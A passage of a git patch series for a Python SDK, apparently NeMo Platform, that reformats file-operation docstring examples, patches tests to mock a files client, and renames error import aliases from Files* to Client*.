AsyncFilesClient from nemo_platform.filesets.filesystem.filesystem import ( FilesetFileSystem, @@ -192,32 +192,53 @@ def download( Examples: # Explicit fileset/workspace >>> sdk.files.download( - ... fileset="my-fileset", workspace="default", remote_path="data/", local_path="./downloads/" + ... fileset="my-fileset", + ... workspace="default", + ... remote_path="data/", + ... local_path="./downloads/" ... ) # Inferred from path (with workspace) - >>> sdk.files.download(remote_path="default/my-fileset#data/", local_path="./downloads/") + >>> sdk.files.download( + ... remote_path="default/my-fileset#data/", + ... local_path="./downloads/" + ... ) # Inferred from path (workspace from SDK default) - >>> sdk.files.download(remote_path="my-fileset#data/", local_path="./downloads/") + >>> sdk.files.download( + ... remote_path="my-fileset#data/", + ... local_path="./downloads/" + ... ) # Download files matching a glob pattern - >>> sdk.files.download(fileset="my-fileset", remote_path="*.json", local_path="./downloads/") + >>> sdk.files.download( + ... fileset="my-fileset", + ... remote_path="*.json", + ... local_path="./downloads/" + ... ) # Download files matching a pattern in a subdirectory - >>> sdk.files.download(fileset="my-fileset", remote_path="data/*.jsonl", local_path="./downloads/") + >>> sdk.files.download( + ... fileset="my-fileset", + ... remote_path="data/*.jsonl", + ... local_path="./downloads/" + ... ) # Download a list of specific files >>> sdk.files.download( ... fileset="my-fileset", ... remote_path=["config.json", "tokenizer.json", "vocab.txt"], - ... local_path="./downloads/", + ... local_path="./downloads/" ... ) # With progress callback >>> from nemo_platform.filesets import RichProgressCallback >>> with RichProgressCallback(description="Downloading") as cb: - ... sdk.files.download(remote_path="my-fileset#", local_path="./", callback=cb) + ... sdk.files.download( + ... remote_path="my-fileset#", + ... local_path="./", + ... callback=cb + ... ) """ # Handle list of paths if isinstance(remote_path, list): @@ -301,21 +322,37 @@ def upload( Examples: # Explicit fileset/workspace >>> sdk.files.upload( - ... fileset="my-fileset", workspace="default", local_path="./data/", remote_path="uploads/" + ... fileset="my-fileset", + ... workspace="default", + ... local_path="./data/", + ... remote_path="uploads/" ... ) # Inferred from path - >>> sdk.files.upload(local_path="./file.txt", remote_path="default/my-fileset#file.txt") + >>> sdk.files.upload( + ... local_path="./file.txt", + ... remote_path="default/my-fileset#file.txt" + ... ) # With workspace from SDK default - >>> sdk.files.upload(local_path="./file.txt", remote_path="my-fileset#file.txt") + >>> sdk.files.upload( + ... local_path="./file.txt", + ... remote_path="my-fileset#file.txt" + ... ) # Auto-create fileset with specified name - >>> fileset = sdk.files.upload(local_path="./data/", fileset="new-fileset", fileset_auto_create=True) + >>> fileset = sdk.files.upload( + ... local_path="./data/", + ... fileset="new-fileset", + ... fileset_auto_create=True + ... ) >>> print(f"Uploaded to: {fileset.name}") # Auto-create fileset with generated name - >>> fileset = sdk.files.upload(local_path="./data/", fileset_auto_create=True) + >>> fileset = sdk.files.upload( + ... local_path="./data/", + ... fileset_auto_create=True + ... ) >>> print(f"Uploaded to: {fileset.name}") # e.g., "fileset-a1b2c3d4" """ ws, path_fileset, path = parse_fileset_path( @@ -463,12 +500,10 @@ def download_content( Examples: # Load JSON (most common use case) - >>> data = json.loads( - ... sdk.files.download_content( - ... remote_path="config.json", - ... fileset="my-fileset", - ... ) - ... ) + >>> data = json.loads(sdk.files.download_content( + ... remote_path="config.json", + ... fileset="my-fileset", + ... )) # Get text content >>> text = sdk.files.download_content( @@ -526,13 +561,22 @@ def list( ... print(f"{f.path}: {f.size} bytes") # List files in a subdirectory - >>> sdk.files.list(fileset="my-fileset", remote_path="data/") + >>> sdk.files.list( + ... fileset="my-fileset", + ... remote_path="data/" + ... ) # List files matching a glob pattern - >>> sdk.files.list(fileset="my-fileset", remote_path="*.json") + >>> sdk.files.list( + ... fileset="my-fileset", + ... remote_path="*.json" + ... ) # List files matching a pattern in a subdirectory - >>> sdk.files.list(fileset="my-fileset", remote_path="data/*.jsonl") + >>> sdk.files.list( + ... fileset="my-fileset", + ... remote_path="data/*.jsonl" + ... ) # Inferred from path >>> sdk.files.list(remote_path="my-fileset#data/") @@ -594,7 +638,10 @@ def delete( Examples: # Delete a file with explicit fileset - >>> sdk.files.delete(fileset="my-fileset", remote_path="data/old-file.txt") + >>> sdk.files.delete( + ... fileset="my-fileset", + ... remote_path="data/old-file.txt" + ... ) # Delete using full path >>> sdk.files.delete(remote_path="my-fileset#data/old-file.txt") @@ -674,23 +721,37 @@ async def download( Examples: # Explicit fileset/workspace >>> await sdk.files.download( - ... fileset="my-fileset", workspace="default", remote_path="data/", local_path="./downloads/" + ... fileset="my-fileset", + ... workspace="default", + ... remote_path="data/", + ... local_path="./downloads/" ... ) # Inferred from path - >>> await sdk.files.download(remote_path="default/my-fileset#data/", local_path="./downloads/") + >>> await sdk.files.download( + ... remote_path="default/my-fileset#data/", + ... local_path="./downloads/" + ... ) # Download files matching a glob pattern - >>> await sdk.files.download(fileset="my-fileset", remote_path="*.json", local_path="./downloads/") + >>> await sdk.files.download( + ... fileset="my-fileset", + ... remote_path="*.json", + ... local_path="./downloads/" + ... ) # Download files matching a pattern in a subdirectory - >>> await sdk.files.download(fileset="my-fileset", remote_path="data/*.jsonl", local_path="./downloads/") + >>> await sdk.files.download( + ... fileset="my-fileset", + ... remote_path="data/*.jsonl", + ... local_path="./downloads/" + ... ) # Download a list of specific files >>> await sdk.files.download( ... fileset="my-fileset", ... remote_path=["config.json", "tokenizer.json", "vocab.txt"], - ... local_path="./downloads/", + ... local_path="./downloads/" ... ) """ # Handle list of paths @@ -775,18 +836,31 @@ async def upload( Examples: # Explicit fileset/workspace >>> await sdk.files.upload( - ... fileset="my-fileset", workspace="default", local_path="./data/", remote_path="uploads/" + ... fileset="my-fileset", + ... workspace="default", + ... local_path="./data/", + ... remote_path="uploads/" ... ) # Inferred from path - >>> await sdk.files.upload(local_path="./file.txt", remote_path="default/my-fileset#file.txt") + >>> await sdk.files.upload( + ... local_path="./file.txt", + ... remote_path="default/my-fileset#file.txt" + ... ) # Auto-create fileset with specified name - >>> fileset = await sdk.files.upload(local_path="./data/", fileset="new-fileset", fileset_auto_create=True) + >>> fileset = await sdk.files.upload( + ... local_path="./data/", + ... fileset="new-fileset", + ... fileset_auto_create=True + ... ) >>> print(f"Uploaded to: {fileset.name}") # Auto-create fileset with generated name - >>> fileset = await sdk.files.upload(local_path="./data/", fileset_auto_create=True) + >>> fileset = await sdk.files.upload( + ... local_path="./data/", + ... fileset_auto_create=True + ... ) >>> print(f"Uploaded to: {fileset.name}") # e.g., "fileset-a1b2c3d4" """ ws, path_fileset, path = parse_fileset_path( @@ -945,12 +1019,10 @@ async def download_content( >>> data = json.loads(content) # Get text content - >>> text = ( - ... await sdk.files.download_content( - ... remote_path="readme.txt", - ... fileset="my-fileset", - ... ) - ... ).decode("utf-8") + >>> text = (await sdk.files.download_content( + ... remote_path="readme.txt", + ... fileset="my-fileset", + ... )).decode("utf-8") """ ws, path_fileset, path = parse_fileset_path(remote_path, workspace_fallback=workspace or self._client.workspace) fileset = fileset or path_fileset @@ -993,13 +1065,22 @@ async def list( ... print(f"{f.path}: {f.size} bytes") # List files in a subdirectory - >>> await sdk.files.list(fileset="my-fileset", remote_path="data/") + >>> await sdk.files.list( + ... fileset="my-fileset", + ... remote_path="data/" + ... ) # List files matching a glob pattern - >>> await sdk.files.list(fileset="my-fileset", remote_path="*.json") + >>> await sdk.files.list( + ... fileset="my-fileset", + ... remote_path="*.json" + ... ) # List files matching a pattern in a subdirectory - >>> await sdk.files.list(fileset="my-fileset", remote_path="data/*.jsonl") + >>> await sdk.files.list( + ... fileset="my-fileset", + ... remote_path="data/*.jsonl" + ... ) # Inferred from path >>> await sdk.files.list(remote_path="my-fileset#data/") @@ -1058,7 +1139,10 @@ async def delete( Examples: # Delete a file with explicit fileset - >>> await sdk.files.delete(fileset="my-fileset", remote_path="data/old-file.txt") + >>> await sdk.files.delete( + ... fileset="my-fileset", + ... remote_path="data/old-file.txt" + ... ) # Delete using full path >>> await sdk.files.delete(remote_path="my-fileset#data/old-file.txt") diff --git a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/conftest.py b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/conftest.py index 713058f8c9..7b740941c4 100644 --- a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/conftest.py +++ b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/conftest.py @@ -12,20 +12,19 @@ import os import uuid -from typing import Generator from pathlib import Path +from typing import Generator import pytest -from nmp.testing import create_test_client from click.testing import Result -from typer.testing import CliRunner -from starlette.testclient import TestClient -from nmp.core.files.service import FilesService -from nemo_platform_plugin.files.client import FilesClient -from nemo_platform_plugin.client.adapter import client_from_platform - from nemo_platform import NeMoPlatform from nemo_platform.cli.core.context import CLIContext +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nmp.core.files.service import FilesService +from nmp.testing import create_test_client +from starlette.testclient import TestClient +from typer.testing import CliRunner DEFAULT_WORKSPACE = "default" diff --git a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py index 69374cfb8e..77ba83f8fb 100644 --- a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py +++ b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py @@ -6,12 +6,11 @@ from pathlib import Path import pytest -from nemo_platform_plugin.files.types import CreateFilesetRequest -from nemo_platform_plugin.files.client import FilesClient -from nemo_platform_plugin.client.adapter import client_from_platform - from nemo_platform import NeMoPlatform from nemo_platform.cli.app import app +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from ..utils import assert_exit_code from .conftest import NmpCliRunner From e45d60bd39c101459bd1a2115420fd3cca655401 Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Tue, 7 Jul 2026 15:13:53 -0700 Subject: [PATCH 11/12] fix(tests): patch client_from_platform in tests that mock SDK internals Tests that mock the NeMoPlatform SDK need to account for client_from_platform accessing _custom_headers and _client.headers. Patch the adapter function in test_schema, test_jobs, and test_models_api to return mock FilesClient instances. Co-Authored-By: Claude Opus 4.6 Signed-off-by: Matthew Grossman --- plugins/nemo-unsloth/tests/test_jobs.py | 29 +++++++++++++------ plugins/nemo-unsloth/tests/test_schema.py | 23 +++++++++++++-- .../models/tests/unit/api/test_models_api.py | 29 ++++++++++++------- 3 files changed, 59 insertions(+), 22 deletions(-) diff --git a/plugins/nemo-unsloth/tests/test_jobs.py b/plugins/nemo-unsloth/tests/test_jobs.py index b9158d82c1..8a1fa5c00b 100644 --- a/plugins/nemo-unsloth/tests/test_jobs.py +++ b/plugins/nemo-unsloth/tests/test_jobs.py @@ -56,17 +56,28 @@ def _stub_async_sdk() -> SimpleNamespace: ) +def _mock_files_client() -> AsyncMock: + """Build a mock AsyncFilesClient for check_dataset_access.""" + mock = AsyncMock() + mock.get_fileset.return_value = MagicMock() + return mock + + def _make_canonical(workspace: str = "default", **overrides: Any) -> UnslothJobOutput: spec = UnslothJobInput.model_validate(_input_dict(**overrides)) - return asyncio.run( - UnslothJob.to_spec( - spec, - workspace=workspace, - entity_client=object(), - async_sdk=_stub_async_sdk(), - is_local=False, - ), - ) + with patch( + "nmp.customization_common.service.platform_client.client_from_platform", + return_value=_mock_files_client(), + ): + return asyncio.run( + UnslothJob.to_spec( + spec, + workspace=workspace, + entity_client=object(), + async_sdk=_stub_async_sdk(), + is_local=False, + ), + ) class TestToSpec: diff --git a/plugins/nemo-unsloth/tests/test_schema.py b/plugins/nemo-unsloth/tests/test_schema.py index 5d014fa9bc..bbc4e662db 100644 --- a/plugins/nemo-unsloth/tests/test_schema.py +++ b/plugins/nemo-unsloth/tests/test_schema.py @@ -9,7 +9,7 @@ import json from pathlib import Path from types import SimpleNamespace -from unittest.mock import AsyncMock +from unittest.mock import AsyncMock, MagicMock, patch import pytest from nemo_unsloth_plugin.schema import ( @@ -44,8 +44,19 @@ def _stub_sdk(*, is_embedding: bool = False) -> SimpleNamespace: ) +def _mock_files_client() -> AsyncMock: + """Build a mock AsyncFilesClient for check_dataset_access.""" + mock = AsyncMock() + mock.get_fileset.return_value = MagicMock() + return mock + + def _run_transform(spec: UnslothJobInput) -> UnslothJobOutput: - return asyncio.run(transform_input_to_output(spec, "default", _stub_sdk())) + with patch( + "nmp.customization_common.service.platform_client.client_from_platform", + return_value=_mock_files_client(), + ): + return asyncio.run(transform_input_to_output(spec, "default", _stub_sdk())) class TestCanonicalReexport: @@ -225,7 +236,13 @@ def test_merged_inferred_as_model_type(self) -> None: def test_embedding_model_rejected(self) -> None: sdk = _stub_sdk(is_embedding=True) spec = UnslothJobInput.model_validate(_minimal_payload()) - with pytest.raises(ValueError, match="Embedding-model SFT"): + with ( + patch( + "nmp.customization_common.service.platform_client.client_from_platform", + return_value=_mock_files_client(), + ), + pytest.raises(ValueError, match="Embedding-model SFT"), + ): asyncio.run(transform_input_to_output(spec, "default", sdk)) diff --git a/services/core/models/tests/unit/api/test_models_api.py b/services/core/models/tests/unit/api/test_models_api.py index b6ecd48dff..4cc12b11f8 100644 --- a/services/core/models/tests/unit/api/test_models_api.py +++ b/services/core/models/tests/unit/api/test_models_api.py @@ -4,7 +4,7 @@ """Tests for Model (ModelEntity) API endpoints.""" from datetime import datetime -from unittest.mock import AsyncMock, MagicMock, Mock +from unittest.mock import AsyncMock, MagicMock, Mock, patch import pytest from fastapi import FastAPI @@ -53,7 +53,11 @@ def mock_auth_client(): @pytest.fixture def mock_sdk(): """Create a mock SDK for create/update endpoints that depend on get_sdk_client.""" - return AsyncMock() + sdk = AsyncMock() + sdk._custom_headers = {"authorization": "Bearer test"} + sdk.base_url = "http://localhost:8080" + sdk.workspace = "default" + return sdk @pytest.fixture @@ -455,14 +459,19 @@ def test_create_model_adapter_entity_validation_error_returns_422(client, mock_a """Test that entity store validation errors during adapter creation return 422.""" mock_adapter_entity_service.create_adapter.side_effect = EntityValidationError("adapter name invalid") - response = client.post( - "/apis/models/v2/workspaces/nvidia/models/my-model/adapters", - json={ - "name": "my-adapter", - "fileset": "nvidia/my-fileset", - "finetuning_type": "lora", - }, - ) + with patch("nmp.core.models.api.permissions.client_from_platform") as mock_cfp: + mock_files = AsyncMock() + mock_files.get_fileset.return_value = MagicMock() + mock_cfp.return_value = mock_files + + response = client.post( + "/apis/models/v2/workspaces/nvidia/models/my-model/adapters", + json={ + "name": "my-adapter", + "fileset": "nvidia/my-fileset", + "finetuning_type": "lora", + }, + ) assert response.status_code == 422 assert "adapter name invalid" in response.json()["detail"] From de5f927fdd33d2b3ed456c59be5eb30eb8d6c288 Mon Sep 17 00:00:00 2001 From: Matthew Grossman Date: Tue, 7 Jul 2026 16:18:35 -0700 Subject: [PATCH 12/12] refactor: rename Files*Error aliases to Client*Error MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit These error aliases from nemo_platform_plugin.client.errors are not files-specific — they come from the generic typed HTTP client. Rename to Client* to reflect that. Co-Authored-By: Claude Opus 4.6 Signed-off-by: Matthew Grossman --- .../customization_common/service/platform_client.py | 8 ++++---- .../api/v2/jobs/endpoints.py | 8 ++++---- plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py | 8 ++++---- .../automodel/src/nmp/automodel/tasks/file_io/run.py | 4 ++-- services/core/files/script/v2_migration.py | 4 ++-- .../external_storage/test_huggingface_storage.py | 4 ++-- .../integration/external_storage/test_s3_storage.py | 10 +++++----- services/core/jobs/src/nmp/core/jobs/app/dispatcher.py | 4 ++-- .../core/models/src/nmp/core/models/api/permissions.py | 8 ++++---- services/rl/src/nmp/rl/tasks/file_io/run.py | 4 ++-- services/rl/src/nmp/rl/tasks/model_entity/run.py | 4 ++-- services/unsloth/src/nmp/unsloth/tasks/file_io/run.py | 4 ++-- 12 files changed, 35 insertions(+), 35 deletions(-) diff --git a/packages/nmp_customization_common/src/nmp/customization_common/service/platform_client.py b/packages/nmp_customization_common/src/nmp/customization_common/service/platform_client.py index 96d5bfe235..1398dbd2e9 100644 --- a/packages/nmp_customization_common/src/nmp/customization_common/service/platform_client.py +++ b/packages/nmp_customization_common/src/nmp/customization_common/service/platform_client.py @@ -12,8 +12,8 @@ from nemo_platform._exceptions import NotFoundError, PermissionDeniedError from nemo_platform.types.models import ModelEntity from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError -from nemo_platform_plugin.client.errors import PermissionDeniedError as FilesPermissionDeniedError +from nemo_platform_plugin.client.errors import NotFoundError as ClientNotFoundError +from nemo_platform_plugin.client.errors import PermissionDeniedError as ClientPermissionDeniedError from nemo_platform_plugin.files.client import AsyncFilesClient from nmp.common.entities.utils import parse_entity_ref from nmp.customization_common.schemas.file_io import FileSetRef @@ -31,9 +31,9 @@ async def check_dataset_access(sdk: AsyncNeMoPlatform, dataset_uri: str, default files = client_from_platform(sdk, AsyncFilesClient) try: await files.get_fileset(workspace=workspace, name=ref.name) - except FilesPermissionDeniedError: + except ClientPermissionDeniedError: raise PermissionError(f"Access denied to dataset fileset '{workspace}/{ref.name}'") from None - except FilesNotFoundError: + except ClientNotFoundError: raise ValueError( f"Dataset fileset '{ref.name}' not found in workspace '{workspace}'. Verify the dataset exists." ) from None diff --git a/plugins/nemo-safe-synthesizer/src/nemo_safe_synthesizer_plugin/api/v2/jobs/endpoints.py b/plugins/nemo-safe-synthesizer/src/nemo_safe_synthesizer_plugin/api/v2/jobs/endpoints.py index aaa9464c03..e3e91431f0 100644 --- a/plugins/nemo-safe-synthesizer/src/nemo_safe_synthesizer_plugin/api/v2/jobs/endpoints.py +++ b/plugins/nemo-safe-synthesizer/src/nemo_safe_synthesizer_plugin/api/v2/jobs/endpoints.py @@ -15,8 +15,8 @@ from nemo_platform.filesets import FilesetPathError, parse_fileset_ref from nemo_platform_plugin.authz import AuthzScope from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError -from nemo_platform_plugin.client.errors import PermissionDeniedError as FilesPermissionDeniedError +from nemo_platform_plugin.client.errors import NotFoundError as ClientNotFoundError +from nemo_platform_plugin.client.errors import PermissionDeniedError as ClientPermissionDeniedError from nemo_platform_plugin.entities import EntityClient from nemo_platform_plugin.files.client import AsyncFilesClient from nemo_platform_plugin.jobs.api_factory import ( @@ -123,11 +123,11 @@ async def job_config_compiler( files = client_from_platform(sdk, AsyncFilesClient) try: await files.get_fileset(name=fileset_name, workspace=ds_workspace) - except FilesNotFoundError as e: + except ClientNotFoundError as e: raise PlatformJobCompilationError( f"Could not find fileset {fileset_name!r} in workspace {ds_workspace!r}" ) from e - except FilesPermissionDeniedError as e: + except ClientPermissionDeniedError as e: raise PermissionError(f"Access denied to fileset {fileset_name!r} in workspace {ds_workspace!r}") from e environment = [ diff --git a/plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py b/plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py index d55c0bd482..22311e546a 100644 --- a/plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py +++ b/plugins/nemo-safe-synthesizer/tests/unit/test_jobs.py @@ -5,8 +5,8 @@ import pytest from nemo_platform import NotFoundError -from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError -from nemo_platform_plugin.client.errors import PermissionDeniedError as FilesPermissionDeniedError +from nemo_platform_plugin.client.errors import NotFoundError as ClientNotFoundError +from nemo_platform_plugin.client.errors import PermissionDeniedError as ClientPermissionDeniedError from nemo_platform_plugin.jobs.exceptions import PlatformJobCompilationError from nemo_safe_synthesizer.config.replace_pii import ClassifyConfig, Globals, PiiReplacerConfig, StepDefinition from nemo_safe_synthesizer_plugin.api.v2.jobs import endpoints @@ -89,7 +89,7 @@ async def test_job_config_compiler_data_source_not_found(mock_sdk, mock_files_cl mock_response.status_code = 404 mock_response.json.return_value = {"detail": "not found"} mock_response.text = "not found" - mock_files_client.get_fileset.side_effect = FilesNotFoundError(mock_response) + mock_files_client.get_fileset.side_effect = ClientNotFoundError(mock_response) with pytest.raises(PlatformJobCompilationError, match="Could not find fileset"): await _compile(_make_spec(), mock_sdk) @@ -101,7 +101,7 @@ async def test_job_config_compiler_data_source_permission_denied(mock_sdk, mock_ mock_response.status_code = 403 mock_response.json.return_value = {"detail": "denied"} mock_response.text = "denied" - mock_files_client.get_fileset.side_effect = FilesPermissionDeniedError(mock_response) + mock_files_client.get_fileset.side_effect = ClientPermissionDeniedError(mock_response) with pytest.raises(PermissionError, match="Access denied to fileset"): await _compile(_make_spec(), mock_sdk) diff --git a/services/automodel/src/nmp/automodel/tasks/file_io/run.py b/services/automodel/src/nmp/automodel/tasks/file_io/run.py index e4d06a340c..a91b27e8e8 100644 --- a/services/automodel/src/nmp/automodel/tasks/file_io/run.py +++ b/services/automodel/src/nmp/automodel/tasks/file_io/run.py @@ -33,7 +33,7 @@ ConflictError, ) from nemo_platform_plugin.client.errors import ( - InternalServerError as FilesInternalServerError, + InternalServerError as ClientInternalServerError, ) from nemo_platform_plugin.client.types import RetryPolicy from nemo_platform_plugin.files.client import FilesClient @@ -400,7 +400,7 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N InternalServerError, APITimeoutError, APIConnectionError, - FilesInternalServerError, + ClientInternalServerError, httpx.TimeoutException, httpx.ConnectError, ) diff --git a/services/core/files/script/v2_migration.py b/services/core/files/script/v2_migration.py index c7aa07a07a..90e192eb5b 100644 --- a/services/core/files/script/v2_migration.py +++ b/services/core/files/script/v2_migration.py @@ -46,7 +46,7 @@ from huggingface_hub import HfApi from nemo_platform import ConflictError, NeMoPlatform, NotFoundError from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError +from nemo_platform_plugin.client.errors import NotFoundError as ClientNotFoundError from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest, ListFilesetsQueryParams @@ -345,7 +345,7 @@ def _ensure_fileset( try: files.get_fileset(name=fileset, workspace=workspace) return "exists" - except FilesNotFoundError: + except ClientNotFoundError: files.create_fileset(body=CreateFilesetRequest(name=fileset), workspace=workspace) return "created" diff --git a/services/core/files/tests/integration/external_storage/test_huggingface_storage.py b/services/core/files/tests/integration/external_storage/test_huggingface_storage.py index 721e7b21bf..e4336af2d9 100644 --- a/services/core/files/tests/integration/external_storage/test_huggingface_storage.py +++ b/services/core/files/tests/integration/external_storage/test_huggingface_storage.py @@ -22,7 +22,7 @@ from nemo_platform import NeMoPlatform from nemo_platform.filesets import FilesetFileSystem from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.client.errors import NemoHTTPError as FilesBadRequestError +from nemo_platform_plugin.client.errors import NemoHTTPError as ClientBadRequestError from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.core.files.app.backends.base import StorageImpl @@ -165,7 +165,7 @@ def test_gated_repo_fails_on_fileset_creation(self, sdk: NeMoPlatform): name = f"hf-test-{uuid.uuid4().hex[:8]}" files = client_from_platform(sdk, FilesClient) - with pytest.raises(FilesBadRequestError) as exc_info: + with pytest.raises(ClientBadRequestError) as exc_info: files.create_fileset( workspace="default", body=CreateFilesetRequest( diff --git a/services/core/files/tests/integration/external_storage/test_s3_storage.py b/services/core/files/tests/integration/external_storage/test_s3_storage.py index 13884f0661..c2af373848 100644 --- a/services/core/files/tests/integration/external_storage/test_s3_storage.py +++ b/services/core/files/tests/integration/external_storage/test_s3_storage.py @@ -37,7 +37,7 @@ from botocore.exceptions import ClientError from nemo_platform import NeMoPlatform from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.client.errors import NemoHTTPError as FilesBadRequestError +from nemo_platform_plugin.client.errors import NemoHTTPError as ClientBadRequestError from nemo_platform_plugin.files.client import FilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest, FilesetOutput from nmp.common.auth import AuthClient, get_auth_client @@ -173,7 +173,7 @@ def test_validate_storage_bucket_not_found(self, sdk: NeMoPlatform, s3_credentia access_key_secret, secret_key_secret = s3_credentials files = client_from_platform(sdk, FilesClient) - with pytest.raises(FilesBadRequestError) as exc_info: + with pytest.raises(ClientBadRequestError) as exc_info: files.create_fileset( workspace=DEFAULT_WORKSPACE, body=CreateFilesetRequest( @@ -200,7 +200,7 @@ def test_invalid_credentials(self, sdk: NeMoPlatform, s3_test_bucket: str): try: files = client_from_platform(sdk, FilesClient) - with pytest.raises(FilesBadRequestError) as exc_info: + with pytest.raises(ClientBadRequestError) as exc_info: files.create_fileset( workspace=DEFAULT_WORKSPACE, body=CreateFilesetRequest( @@ -414,9 +414,9 @@ def test_delete_fileset_with_files( files_client.delete_fileset(name=fileset.name, workspace=fileset.workspace) # Verify fileset is gone - from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError + from nemo_platform_plugin.client.errors import NotFoundError as ClientNotFoundError - with pytest.raises(FilesNotFoundError): + with pytest.raises(ClientNotFoundError): files_client.get_fileset(name=name, workspace=DEFAULT_WORKSPACE) except Exception: diff --git a/services/core/jobs/src/nmp/core/jobs/app/dispatcher.py b/services/core/jobs/src/nmp/core/jobs/app/dispatcher.py index a8417c0a48..bdc12a4bf5 100644 --- a/services/core/jobs/src/nmp/core/jobs/app/dispatcher.py +++ b/services/core/jobs/src/nmp/core/jobs/app/dispatcher.py @@ -8,7 +8,7 @@ from nemo_platform import AsyncNeMoPlatform, NotFoundError, PermissionDeniedError from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError +from nemo_platform_plugin.client.errors import NotFoundError as ClientNotFoundError from nemo_platform_plugin.files.client import AsyncFilesClient from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.common.api.filter import ComparisonOperation, FilterOperation, FilterOperator, LogicalOperation @@ -459,7 +459,7 @@ async def delete_job(self, job_name: str, workspace: str) -> bool: try: files = client_from_platform(self.sdk, AsyncFilesClient) await files.delete_fileset(name=job_entity.fileset, workspace=workspace) - except FilesNotFoundError: + except ClientNotFoundError: logger.warning("Job fileset not found during deletion, may have been cleaned up already", extra=extras) logger.info( diff --git a/services/core/models/src/nmp/core/models/api/permissions.py b/services/core/models/src/nmp/core/models/api/permissions.py index 6e9d9c958b..1dfb33d3ad 100644 --- a/services/core/models/src/nmp/core/models/api/permissions.py +++ b/services/core/models/src/nmp/core/models/api/permissions.py @@ -15,8 +15,8 @@ from nemo_platform import AsyncNeMoPlatform from nemo_platform._exceptions import NotFoundError, PermissionDeniedError from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError -from nemo_platform_plugin.client.errors import PermissionDeniedError as FilesPermissionDeniedError +from nemo_platform_plugin.client.errors import NotFoundError as ClientNotFoundError +from nemo_platform_plugin.client.errors import PermissionDeniedError as ClientPermissionDeniedError from nemo_platform_plugin.files.client import AsyncFilesClient from nemo_platform_plugin.files.types import FilesetOutput from nmp.common.auth import AuthClient @@ -54,9 +54,9 @@ async def check_fileset_access(nmp_sdk: AsyncNeMoPlatform, fileset: str, workspa try: fs = (await files.get_fileset(workspace=fs_workspace, name=fs_name)).data() return fs - except FilesPermissionDeniedError: + except ClientPermissionDeniedError: raise PermissionError(f"Access denied to fileset '{fileset}'") from None - except FilesNotFoundError: + except ClientNotFoundError: raise ValueError(f"Fileset '{fileset}' not found in workspace '{fs_workspace}'") from None diff --git a/services/rl/src/nmp/rl/tasks/file_io/run.py b/services/rl/src/nmp/rl/tasks/file_io/run.py index f2c25c7565..fa86215864 100644 --- a/services/rl/src/nmp/rl/tasks/file_io/run.py +++ b/services/rl/src/nmp/rl/tasks/file_io/run.py @@ -33,7 +33,7 @@ ConflictError, ) from nemo_platform_plugin.client.errors import ( - InternalServerError as FilesInternalServerError, + InternalServerError as ClientInternalServerError, ) from nemo_platform_plugin.client.types import RetryPolicy from nemo_platform_plugin.files.client import FilesClient @@ -330,7 +330,7 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N InternalServerError, APITimeoutError, APIConnectionError, - FilesInternalServerError, + ClientInternalServerError, httpx.TimeoutException, httpx.ConnectError, ) diff --git a/services/rl/src/nmp/rl/tasks/model_entity/run.py b/services/rl/src/nmp/rl/tasks/model_entity/run.py index 2a2671c884..192fc36f58 100644 --- a/services/rl/src/nmp/rl/tasks/model_entity/run.py +++ b/services/rl/src/nmp/rl/tasks/model_entity/run.py @@ -39,7 +39,7 @@ from nemo_platform.types.models import LoraParam, ModelEntity from nemo_platform.types.shared_params.tool_call_config import ToolCallConfig as ToolCallConfigParam from nemo_platform_plugin.client.adapter import client_from_platform -from nemo_platform_plugin.client.errors import InternalServerError as FilesInternalServerError +from nemo_platform_plugin.client.errors import InternalServerError as ClientInternalServerError from nemo_platform_plugin.files.client import FilesClient from nmp.common.sdk_factory import get_task_sdk from nmp.customization_common.schemas.model_entity import ( @@ -177,7 +177,7 @@ def create_model_entity(self, config: ModelEntityTaskConfig) -> tuple[dict, Mode InternalServerError, APITimeoutError, APIConnectionError, - FilesInternalServerError, + ClientInternalServerError, httpx.TimeoutException, httpx.ConnectError, ): diff --git a/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py b/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py index d8bc617255..b26bc12842 100644 --- a/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py +++ b/services/unsloth/src/nmp/unsloth/tasks/file_io/run.py @@ -33,7 +33,7 @@ ConflictError, ) from 